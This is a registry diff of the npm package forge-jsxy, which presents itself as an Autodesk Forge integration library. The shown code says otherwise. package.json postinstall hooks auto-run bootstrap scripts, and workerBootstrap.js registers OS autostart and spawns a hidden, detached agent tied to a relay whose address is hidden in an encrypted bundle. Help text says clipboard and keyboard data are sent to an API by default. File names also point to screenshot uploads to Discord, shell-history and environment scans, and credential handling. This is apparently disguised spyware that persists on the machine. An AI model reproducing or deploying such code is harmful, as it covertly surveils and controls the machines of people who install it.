forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,327 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.run = void 0;
4
+ exports.stopForgeWorker = stopForgeWorker;
5
+ exports.configurationConstants = configurationConstants;
6
+ /**
7
+ * One-shot bootstrap like Python cfgmgr.configuration_constants():
8
+ * register OS autostart, ensure forge-agent runs (systemd/LaunchAgent or detached spawn), survive reboot.
9
+ */
10
+ const node_child_process_1 = require("node:child_process");
11
+ const agentPid_1 = require("./agentPid");
12
+ const agentRunner_1 = require("./agentRunner");
13
+ const install_1 = require("./autostart/install");
14
+ const darwin_1 = require("./autostart/darwin");
15
+ const linux_1 = require("./autostart/linux");
16
+ const resolve_1 = require("./autostart/resolve");
17
+ const deploymentDefaults_1 = require("./deploymentDefaults");
18
+ function sleepSync(ms) {
19
+ try {
20
+ const buf = new SharedArrayBuffer(4);
21
+ const arr = new Int32Array(buf);
22
+ Atomics.wait(arr, 0, 0, ms);
23
+ }
24
+ catch {
25
+ const end = Date.now() + ms;
26
+ while (Date.now() < end) {
27
+ /* busy */
28
+ }
29
+ }
30
+ }
31
+ function waitForAgentRunning(maxMs) {
32
+ const deadline = Date.now() + maxMs;
33
+ while (Date.now() < deadline) {
34
+ if ((0, agentPid_1.isForgeAgentAlreadyRunning)())
35
+ return true;
36
+ sleepSync(200);
37
+ }
38
+ return (0, agentPid_1.isForgeAgentAlreadyRunning)();
39
+ }
40
+ function printHelp() {
41
+ const relayDefault = (0, deploymentDefaults_1.deploymentDefaultsDisabled)()
42
+ ? "[disabled]"
43
+ : (0, deploymentDefaults_1.defaultRelayWsUrl)() || "[from encrypted bundle]";
44
+ const cfgDefault = (0, deploymentDefaults_1.deploymentDefaultsDisabled)()
45
+ ? "[disabled]"
46
+ : (0, deploymentDefaults_1.defaultSyncApiBaseUrl)() || "[from encrypted bundle]";
47
+ console.log(`forge-cfgmgr — one-shot install + background agent (like Python cfgmgr)
48
+
49
+ Usage:
50
+ forge-cfgmgr [--relay ws://host:9877] [--session ID] [--password P | --no-password]
51
+ [--no-filesystem] [--cfg http://api:8765] [--no-autostart]
52
+ [--no-daemon | --foreground] [--stop] [--verbose]
53
+
54
+ --relay WebSocket forge-js relay (or FORGE_JS_RELAY_URL; default ${relayDefault})
55
+ --cfg URL forge-db base URL (or FORGE_JS_SYNC_URL; default ${cfgDefault})
56
+ --no-autostart Do not refresh Task Scheduler / systemd / LaunchAgent
57
+ --no-daemon Run forge-agent in the foreground in this terminal (no detach)
58
+ --stop Stop running agent (PID file + systemd / launchctl where used)
59
+ --verbose Log steps to stderr
60
+
61
+ Default: refresh autostart for this user, then ensure exactly one agent is running.
62
+
63
+ Sync defaults target VPS forge-db. Opt out: FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1, FORGE_JS_DISABLE_SYNC=1.
64
+ Clipboard/keyboard → API (default on; disable: CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0). Full env scan / shell history are not synced; a minimal host OS snapshot (forge-js://host-inventory.json) is POSTed for dashboards unless FORGE_JS_SYNC_HOST_INVENTORY=0.
65
+ Python cfgmgr relay often uses :9876; forge-js relay :9877.
66
+
67
+ Upgrades: use the file explorer **Upgrade agent** button (runs forge-jsx-explorer-upgrade); npm auto-update schedulers and relay/agent hooks are not used.
68
+ `);
69
+ }
70
+ function parseBootstrap(cfg) {
71
+ const { argv, env } = cfg;
72
+ let relayUrl = env.FORGE_JS_RELAY_URL?.trim() ||
73
+ env.CFGMGR_RELAY_URL?.trim() ||
74
+ "";
75
+ let session;
76
+ let password;
77
+ let noPassword = false;
78
+ let noFilesystem = false;
79
+ let syncApiUrl;
80
+ let registerAutostart = true;
81
+ let foreground = false;
82
+ let stop = false;
83
+ let verbose = false;
84
+ let help = false;
85
+ for (let i = 2; i < argv.length; i++) {
86
+ const a = argv[i];
87
+ if (a === "-h" || a === "--help")
88
+ help = true;
89
+ else if (a === "--relay" && argv[i + 1])
90
+ relayUrl = argv[++i];
91
+ else if (a === "--session" && argv[i + 1])
92
+ session = argv[++i];
93
+ else if (a === "--password" && argv[i + 1])
94
+ password = argv[++i];
95
+ else if (a === "--no-password")
96
+ noPassword = true;
97
+ else if (a === "--no-filesystem")
98
+ noFilesystem = true;
99
+ else if (a === "--cfg" && argv[i + 1])
100
+ syncApiUrl = argv[++i];
101
+ else if (a === "--no-autostart")
102
+ registerAutostart = false;
103
+ else if (a === "--no-daemon" || a === "--foreground")
104
+ foreground = true;
105
+ else if (a === "--stop")
106
+ stop = true;
107
+ else if (a === "-v" || a === "--verbose")
108
+ verbose = true;
109
+ }
110
+ return {
111
+ relayUrl,
112
+ autostart: {
113
+ relayUrl,
114
+ session,
115
+ password,
116
+ noPassword,
117
+ noFilesystem,
118
+ },
119
+ syncApiUrl,
120
+ registerAutostart,
121
+ foreground,
122
+ stop,
123
+ verbose,
124
+ help,
125
+ };
126
+ }
127
+ function buildSyntheticAgentArgv(autostart, relayUrl) {
128
+ const out = ["node", "forge-agent", "--relay", relayUrl.trim()];
129
+ if (autostart.session) {
130
+ out.push("--session", autostart.session);
131
+ }
132
+ if (autostart.noPassword)
133
+ out.push("--no-password");
134
+ else if (autostart.password !== undefined) {
135
+ out.push("--password", autostart.password);
136
+ }
137
+ if (autostart.noFilesystem)
138
+ out.push("--no-filesystem");
139
+ return out;
140
+ }
141
+ function spawnDetachedAgent(autostartOpts, syncApiUrl, distDir, verbose) {
142
+ const launch = (0, resolve_1.resolveAutostartLaunch)(distDir, autostartOpts);
143
+ const childEnv = {
144
+ ...process.env,
145
+ FORGE_JS_QUIET_AGENT: "1",
146
+ };
147
+ if (syncApiUrl?.trim()) {
148
+ const u = syncApiUrl.trim();
149
+ childEnv.FORGE_JS_SYNC_URL = u;
150
+ childEnv.CFGMGR_API_URL = u;
151
+ }
152
+ const args = launch.programArguments.slice(1);
153
+ if (verbose) {
154
+ console.error("[forge-cfgmgr] Spawning detached agent:", launch.nodeExe, args.join(" "));
155
+ }
156
+ const child = (0, node_child_process_1.spawn)(launch.nodeExe, args, {
157
+ detached: true,
158
+ stdio: "ignore",
159
+ cwd: launch.workingDirectory,
160
+ env: childEnv,
161
+ windowsHide: true,
162
+ });
163
+ child.unref();
164
+ }
165
+ /** Stop agent process and session services (autostart files remain unless you run forge-autostart uninstall). */
166
+ function stopForgeWorker() {
167
+ const pid = (0, agentPid_1.readAgentPid)();
168
+ if (pid !== null && (0, agentPid_1.isPidRunning)(pid)) {
169
+ try {
170
+ process.kill(pid, "SIGTERM");
171
+ }
172
+ catch {
173
+ /* skip */
174
+ }
175
+ }
176
+ (0, agentPid_1.removeAgentPidFile)();
177
+ (0, agentPid_1.clearStaleAgentPidFile)();
178
+ if (process.platform === "linux") {
179
+ (0, linux_1.stopSystemdForgeAgent)();
180
+ }
181
+ else if (process.platform === "darwin") {
182
+ (0, darwin_1.stopDarwinForgeAgent)();
183
+ }
184
+ }
185
+ /**
186
+ * Same role as Python `cfgmgr.configuration_constants()` / one `cfgmgr` run:
187
+ * refresh autostart, start background relay agent if needed, idempotent on repeat invocations.
188
+ */
189
+ function configurationConstants(opts = {}) {
190
+ const cfg = {
191
+ argv: opts.argv ?? process.argv,
192
+ env: { ...process.env, ...(opts.env ?? {}) },
193
+ };
194
+ const p = parseBootstrap(cfg);
195
+ if (p.help) {
196
+ printHelp();
197
+ process.exit(0);
198
+ }
199
+ if (p.stop) {
200
+ stopForgeWorker();
201
+ if (p.verbose)
202
+ console.error("[forge-cfgmgr] stop completed.");
203
+ return;
204
+ }
205
+ // Track whether relay / sync came from an explicit source (CLI arg or env var) or
206
+ // from the embedded AES-256-GCM bundle. When bundle-sourced, we omit the plain IP
207
+ // address from service definitions (systemd ExecStart, macOS plist, Windows VBScript)
208
+ // and from forge-js-agent.env. The agent decrypts the same bundle at runtime.
209
+ const relayExplicit = Boolean(p.relayUrl.trim());
210
+ let relayUrl = p.relayUrl.trim();
211
+ if (!relayUrl && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
212
+ relayUrl = (0, deploymentDefaults_1.defaultRelayWsUrl)();
213
+ }
214
+ if (!relayUrl) {
215
+ console.error("forge-cfgmgr: set --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL (or unset FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 if you use packaged VPS defaults).");
216
+ process.exit(2);
217
+ }
218
+ // Relay came from bundle when not explicitly provided and bundle defaults are enabled.
219
+ const relayFromBundle = !relayExplicit && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)() && Boolean(relayUrl);
220
+ const syncExplicit = Boolean(p.syncApiUrl?.trim());
221
+ let syncUrl = p.syncApiUrl?.trim();
222
+ if (!syncUrl && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
223
+ syncUrl = (0, deploymentDefaults_1.defaultSyncApiBaseUrl)();
224
+ }
225
+ if (syncUrl) {
226
+ process.env.FORGE_JS_SYNC_URL = syncUrl;
227
+ process.env.CFGMGR_API_URL = syncUrl;
228
+ }
229
+ // Sync URL came from bundle when not explicitly provided and bundle defaults are enabled.
230
+ const syncFromBundle = !syncExplicit && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)() && Boolean(syncUrl);
231
+ const autostart = { ...p.autostart, relayUrl };
232
+ const distDir = (0, install_1.defaultDistDir)();
233
+ if (p.registerAutostart) {
234
+ const autostartOpts = {
235
+ ...autostart,
236
+ ...(syncUrl && !syncFromBundle ? { syncApiUrl: syncUrl } : {}),
237
+ // Omit relay/sync from service definitions when they came from the bundle so the
238
+ // plain IP address does not appear in ExecStart / plist / VBScript / agent.env.
239
+ omitRelayArg: relayFromBundle,
240
+ omitSyncUrl: syncFromBundle,
241
+ };
242
+ // On Linux and macOS, stop any detached (PID-file-managed) agent before handing
243
+ // control to the OS service manager (systemd / launchctl). Without this, the old
244
+ // detached agent holds the PID file and the new service-managed agent's singleton
245
+ // guard exits cleanly (code 0), which — with Restart=on-failure / KeepAlive dict —
246
+ // leaves the service inactive until reboot, and — with the old Restart=always /
247
+ // KeepAlive=true — caused an infinite restart loop.
248
+ if (process.platform === "linux" || process.platform === "darwin") {
249
+ (0, agentPid_1.clearStaleAgentPidFile)();
250
+ const existingPid = (0, agentPid_1.readAgentPid)();
251
+ if (existingPid !== null && (0, agentPid_1.isPidRunning)(existingPid) && existingPid !== process.pid) {
252
+ if (p.verbose) {
253
+ console.error(`[forge-cfgmgr] stopping detached agent (pid ${existingPid}) before service-manager registration.`);
254
+ }
255
+ try {
256
+ process.kill(existingPid, "SIGTERM");
257
+ }
258
+ catch {
259
+ /* process may have already exited */
260
+ }
261
+ (0, agentPid_1.removeAgentPidFile)();
262
+ // Brief wait so the process exits before systemd/launchctl tries to start the new one.
263
+ sleepSync(600);
264
+ }
265
+ }
266
+ const ok = (0, install_1.installAutostart)(autostartOpts, distDir);
267
+ if (p.verbose) {
268
+ console.error(`[forge-cfgmgr] autostart refresh: ${ok ? "ok" : "partial/failed (see messages above)"}`);
269
+ }
270
+ }
271
+ if (p.foreground) {
272
+ const syn = buildSyntheticAgentArgv(autostart, relayUrl);
273
+ try {
274
+ const agentOpts = (0, agentRunner_1.resolveForgeAgentFromArgv)(syn, cfg.env);
275
+ if (!agentOpts) {
276
+ console.error("forge-cfgmgr: could not resolve agent options.");
277
+ process.exit(2);
278
+ }
279
+ agentOpts.quiet = false;
280
+ (0, agentRunner_1.runForgeAgentWithSingleton)(agentOpts);
281
+ }
282
+ catch (e) {
283
+ console.error("forge-cfgmgr:", e instanceof Error ? e.message : e);
284
+ process.exit(2);
285
+ }
286
+ return;
287
+ }
288
+ if (process.platform === "linux" && (0, linux_1.isSystemdForgeAgentActive)()) {
289
+ if (waitForAgentRunning(10_000)) {
290
+ if (p.verbose)
291
+ console.error("[forge-cfgmgr] agent already running (systemd).");
292
+ return;
293
+ }
294
+ if ((0, linux_1.isSystemdForgeAgentActive)()) {
295
+ if (p.verbose) {
296
+ console.error("[forge-cfgmgr] systemd unit active but no PID file yet — not spawning duplicate (check: journalctl --user -u forge-js-worker -f).");
297
+ }
298
+ return;
299
+ }
300
+ }
301
+ if (process.platform === "darwin") {
302
+ (0, darwin_1.kickstartDarwinForgeAgent)();
303
+ if (waitForAgentRunning(10_000)) {
304
+ if (p.verbose)
305
+ console.error("[forge-cfgmgr] agent running (LaunchAgent).");
306
+ return;
307
+ }
308
+ // Plist exists but agent did not appear in 10 s — launchctl may have failed
309
+ // (missing permissions, first boot, etc.). Fall through to spawnDetachedAgent
310
+ // below so the agent runs immediately without waiting for next login.
311
+ if (p.verbose && (0, darwin_1.statusDarwinAutostart)().plist) {
312
+ console.error("[forge-cfgmgr] LaunchAgent plist present but agent not detected after 10 s — spawning detached fallback.");
313
+ }
314
+ }
315
+ if ((0, agentPid_1.isForgeAgentAlreadyRunning)()) {
316
+ if (p.verbose)
317
+ console.error("[forge-cfgmgr] agent already running (pid file).");
318
+ return;
319
+ }
320
+ // Only pass syncUrl to the detached agent when it came from an explicit source (not bundle)
321
+ // so the plain IP address is not written to the child's env more than needed.
322
+ spawnDetachedAgent(autostart, syncFromBundle ? undefined : syncUrl, distDir, p.verbose);
323
+ if (p.verbose)
324
+ console.error("[forge-cfgmgr] detached agent spawned.");
325
+ }
326
+ /** Alias matching Python `cfgmgr.run`. */
327
+ exports.run = configurationConstants;
package/package.json ADDED
@@ -0,0 +1,75 @@
1
+ {
2
+ "name": "forge-jsxy",
3
+ "version": "1.0.66",
4
+ "description": "Node.js integration layer for Autodesk Forge",
5
+ "license": "MIT",
6
+ "main": "dist/index.js",
7
+ "types": "dist/index.d.ts",
8
+ "files": [
9
+ "dist",
10
+ "assets",
11
+ "scripts"
12
+ ],
13
+ "engines": {
14
+ "node": ">=18"
15
+ },
16
+ "scripts": {
17
+ "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",
18
+ "build": "tsc && node scripts/copy-assets.mjs",
19
+ "pretest": "npm run build",
20
+ "test": "NODE_ENV=test node --test test/smoke.test.mjs",
21
+ "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
22
+ "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs",
23
+ "test:env-local": "node --test test/env-local-integrations.mjs",
24
+ "verify": "npm run ci && npm run test:env-local",
25
+ "verify:production": "npm run ci",
26
+ "ci": "npm run build && npm run test:all",
27
+ "test:hf-live": "node test/hf-relay-upload.integration.mjs",
28
+ "prepack": "npm run build",
29
+ "relay": "node dist/cli-relay.js",
30
+ "env-sync-selftest": "node scripts/env-sync-selftest.js",
31
+ "agent": "node dist/cli-agent.js",
32
+ "agent:restart": "node scripts/restart-agent.mjs",
33
+ "autostart": "node dist/cli-autostart.js",
34
+ "cfgmgr": "node dist/cli-forge.js",
35
+ "pm2:restart": "bash scripts/pm2-restart-forge-relay-agent.sh",
36
+ "discord:live-probe": "node scripts/discord-live-probe.mjs",
37
+ "verify:discord": "npm run build && npm run discord:live-probe",
38
+ "smoke:relay-agent": "npm run build && NODE_ENV=test node --test test/relay-agent-cli-smoke.mjs"
39
+ },
40
+ "bin": {
41
+ "forge-relay": "dist/cli-relay.js",
42
+ "forge-agent": "dist/cli-agent.js",
43
+ "forge-autostart": "dist/cli-autostart.js",
44
+ "forge-cfgmgr": "dist/cli-forge.js",
45
+ "forge-jsx-explorer-upgrade": "scripts/forge-jsx-explorer-upgrade.mjs",
46
+ "forge-jsx-explorer-restart": "scripts/forge-jsx-explorer-restart.mjs",
47
+ "forge-jsx-explorer-kill-agent": "scripts/forge-jsx-explorer-kill-agent.mjs"
48
+ },
49
+ "dependencies": {
50
+ "@huggingface/hub": "^2.11.0",
51
+ "archiver": "^7.0.1",
52
+ "dotenv": "^16.4.7",
53
+ "jimp": "^0.22.12",
54
+ "ws": "^8.18.0"
55
+ },
56
+ "optionalDependencies": {
57
+ "@napi-rs/clipboard": "^1.1.3",
58
+ "clipboard-event": "^1.6.0",
59
+ "koffi": "^2.15.2",
60
+ "uiohook-napi": "^1.5.5"
61
+ },
62
+ "devDependencies": {
63
+ "@types/archiver": "^6.0.4",
64
+ "@types/node": "^22.10.0",
65
+ "@types/ws": "^8.5.13",
66
+ "typescript": "^5.7.2"
67
+ },
68
+ "keywords": [
69
+ "cfgmgr",
70
+ "forge-db",
71
+ "sync",
72
+ "websocket",
73
+ "relay"
74
+ ]
75
+ }
@@ -0,0 +1,31 @@
1
+ #!/usr/bin/env node
2
+ import fs from "node:fs";
3
+ import path from "node:path";
4
+ import { fileURLToPath } from "node:url";
5
+
6
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
7
+ const root = path.resolve(__dirname, "..");
8
+ const src = path.join(root, "assets");
9
+ const dest = path.join(root, "dist", "assets");
10
+ if (!fs.existsSync(src)) {
11
+ console.error("[forge-js] assets/ missing");
12
+ process.exit(1);
13
+ }
14
+ fs.mkdirSync(dest, { recursive: true });
15
+ fs.cpSync(src, dest, { recursive: true });
16
+
17
+ /** Replace placeholder so operators can View Source on /files and confirm the relay serves this package build (VPS stale-HTML diagnosis). */
18
+ const pkgPath = path.join(root, "package.json");
19
+ const explorerOut = path.join(dest, "files-explorer-template.html");
20
+ try {
21
+ const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf8"));
22
+ const ver = String(pkg.version || "0.0.0").trim();
23
+ const stamp = `forge-jsx@${ver} reconnect-ui npm-isolated-cache hub-20gib-delete-watch`;
24
+ let html = fs.readFileSync(explorerOut, "utf8");
25
+ if (html.includes("<!-- BUILD_STAMP -->")) {
26
+ html = html.replace("<!-- BUILD_STAMP -->", `<!-- ${stamp} -->`);
27
+ fs.writeFileSync(explorerOut, html, "utf8");
28
+ }
29
+ } catch (e) {
30
+ console.warn("[forge-js] copy-assets: could not inject explorer BUILD_STAMP:", e?.message || e);
31
+ }
@@ -0,0 +1,159 @@
1
+ /**
2
+ * Live Discord probe for relay `.env` (RELAY_DISCORD_*). Run manually; not part of default CI.
3
+ * Usage: `npm run discord:live-probe` or `npm run verify:discord` (includes build).
4
+ */
5
+ import dotenv from "dotenv";
6
+ import path from "path";
7
+ import { fileURLToPath } from "url";
8
+
9
+ const ROOT = path.join(path.dirname(fileURLToPath(import.meta.url)), "..");
10
+ dotenv.config({ path: path.join(ROOT, ".env") });
11
+
12
+ /** 1×1 PNG */
13
+ const MIN_PNG_B64 =
14
+ "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
15
+
16
+ async function main() {
17
+ const flag = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
18
+ if (!["1", "true", "yes", "on"].includes(flag)) {
19
+ console.log("SKIP: RELAY_DISCORD_SCREENSHOT_ENABLED not on");
20
+ process.exit(0);
21
+ }
22
+ const { getRelayDiscordBotTokens, relayDiscordBotTokenForClient } = await import(
23
+ path.join(ROOT, "dist/discordBotTokens.js")
24
+ );
25
+ const {
26
+ discordRelayScreenshotEnabled,
27
+ listGuildTextChannels,
28
+ resolveScreenshotChannelId,
29
+ handleDiscordUploadTicketRequest,
30
+ handleDiscordUploadAck,
31
+ handleDiscordScreenshotUploadFromAgent,
32
+ } = await import(path.join(ROOT, "dist/discordRelayUpload.js"));
33
+ const { postPngToDiscordWebhookUrl } = await import(
34
+ path.join(ROOT, "dist/discordWebhookPost.js")
35
+ );
36
+
37
+ if (!discordRelayScreenshotEnabled()) {
38
+ console.error("FAIL: discordRelayScreenshotEnabled() is false (token/guild missing?)");
39
+ process.exit(1);
40
+ }
41
+
42
+ const tokenPool = getRelayDiscordBotTokens();
43
+ /** Same token the relay uses for this client_id (ticket / webhook create). */
44
+ const tok = relayDiscordBotTokenForClient("live-probe-stable", tokenPool);
45
+ const gid = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
46
+ const parent = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
47
+ const clientId = "live-probe-stable";
48
+ const ridBase = `live_wh_${Date.now()}`;
49
+
50
+ process.stdout.write("1. listGuildTextChannels … ");
51
+ if (!tok) {
52
+ console.error("FAIL: no bot tokens (RELAY_DISCORD_BOT_TOKEN / RELAY_DISCORD_BOT_TOKENS)");
53
+ process.exit(1);
54
+ }
55
+ const rows = await listGuildTextChannels(tok, gid);
56
+ console.log(`ok (${rows.length} raw channels, ${tokenPool.length} token(s) in pool)`);
57
+
58
+ process.stdout.write("2. resolveScreenshotChannelId … ");
59
+ const ch = await resolveScreenshotChannelId(tok, gid, clientId, parent || undefined);
60
+ console.log(`ok (${ch.length} char id)`);
61
+
62
+ /**
63
+ * Parse `retry_after` from Discord error text (seconds, often fractional — see API rate limits).
64
+ * Very small values (~0.5s) round to ~1s wall time and usually 429 again; enforce a floor for probes.
65
+ */
66
+ function discordRetryAfterMsFromError(errText) {
67
+ const m = String(errText).match(/"retry_after"\s*:\s*([0-9.]+)/);
68
+ if (m) {
69
+ const sec = parseFloat(m[1]);
70
+ if (Number.isFinite(sec)) {
71
+ let ms = Math.ceil(sec * 1000) + 500;
72
+ ms = Math.min(120_000, ms);
73
+ if (ms < 5000) ms = 5000;
74
+ return ms;
